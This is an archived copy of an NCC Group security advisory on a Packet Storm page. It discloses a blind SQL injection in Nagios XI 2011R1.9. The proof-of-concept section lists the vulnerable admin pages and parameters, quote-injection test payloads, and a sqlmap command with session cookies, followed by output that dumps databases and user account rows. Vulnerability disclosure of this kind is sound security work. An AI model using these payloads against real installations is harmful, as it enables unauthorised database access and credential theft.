exploit the possibilities

Nagios XI Network Monitor 2011R1.9 SQL Injection

Nagios XI Network Monitor 2011R1.9 SQL Injection
Posted Nov 30, 2012
Authored by Daniel Compton | Site nccgroup.com

Nagios XI Network Monitor version 2011R1.9 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 31235d7bde61608ca3ebf88ad44f4c7c

Nagios XI Network Monitor 2011R1.9 SQL Injection

Change Mirror Download
=======
Summary
=======
Name: Nagios XI Network Monitor - Blind SQL Injection
Release Date: 30 November 2012
Reference: NGS00194
Discoverer: Daniel Compton <daniel.compton@ngssecure.com>
Vendor: Nagios
Vendor Reference: 0000282
Systems Affected: Nagios XI Network Monitor 2011R1.9
Risk: High
Status: Published

========
TimeLine
========
Discovered: 30 January 2012
Released: 31 January 2012
Approved: 31 January 2012
Reported: 31 January 2012
Fixed: 7 June 2012
Published: 30 November 2012

===========
Description
===========
Nagios XI Network Monitor 2011R1.9 - Blind SQL Injection within the administrator/monitoring interface. This is a commertical product for monitoring severs and network monitoring equipment.

I. VULNERABILITY
-------------------------
Nagios XI Network Monitor 2011R1.9 suffers from Blind SQL injection in several pages and parameters. This is exploitable as an authenticated user.

II. BACKGROUND
-------------------------
Nagios provide enterprise level network and server monitor software.

http://www.nagios.com/

III. DESCRIPTION
-------------------------
SQL injection has been found and exploited/confirmed within the software as an authenticated user. This is the latest version of Nagios XI.

=================
Technical Details
=================

IV. PROOF OF CONCEPT
-------------------------

The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/nagiosql/admin/checkcommands.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/servicegroups.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/hostgroups.php (POST parameters: chbActive)
/nagiosql/admin/services.php (POST parameters: chbActive)
/nagiosql/admin/hosts.php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval)

Manual confirmation of the chbActive parameter, insering a single '

tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1'&hidActive=&modus=insert&hidId=&hidLimit=0
tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1''&hidActive=&modus=insert&hidId=&hidLimit=0

Exploiting with SQLMap:

python sqlmap.py --url http://192.168.1.121/nagiosql/admin/checkcommands.php --cookie "PHPSESSID=bbfqbou8tq71591ct6qrcakpg5; nagiosxi=nv78nq36n551h3e63ooprpe556" --data="tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1&hidActive=&modus=insert&hidId=&hidLimit=0" --dbms=mysql -p chbActive --dbs

[14:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[14:55:26] [INFO] fetching database names
[14:55:26] [INFO] the SQL query used returns 3 entries
[14:55:26] [INFO] retrieved: information_schema
[14:55:26] [INFO] retrieved: nagiosql
[14:55:26] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] nagiosql
[*] test

[14:25:26] [INFO] fetching entries for table 'tbl_user' on database
'nagiosql'
[14:25:26] [INFO] the SQL query used returns 2 entries
[14:25:26] [INFO] retrieved: 11111111
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: Administrator
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: 2012-01-30 12:29:41

[14:25:27] [INFO] retrieved: 2009-10-22 12:53:49
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: ccc<CUT>2f014bb
[14:25:28] [INFO] retrieved: nagiosadmin
[14:25:28] [INFO] retrieved: 0
[14:25:28] [INFO] retrieved: 11111111
[14:25:28] [INFO] retrieved: 1
[14:25:28] [INFO] retrieved: Nagios XI Subsystem Account
[14:25:28] [INFO] retrieved: 4
[14:25:28] [INFO] retrieved: 2012-01-30 13:52:09
[14:25:29] [INFO] retrieved: 2009-10-22 12:55:08
[14:25:29] [INFO] retrieved: 0
[14:25:29] [INFO] retrieved: cccc<CUT>2f014bb
[14:25:29] [INFO] retrieved: nagiosxi
[14:25:30] [INFO] retrieved: 0

===============
Fix Information
===============
Fixed in 2012 version

http://labs.nagios.com/2012/04/13/nagios-xi-ccm-full-beta/

NCC Group Research
http://www.nccgroup.com/research


For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
This email message has been delivered safely and archived online by Mimecast.
</a>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close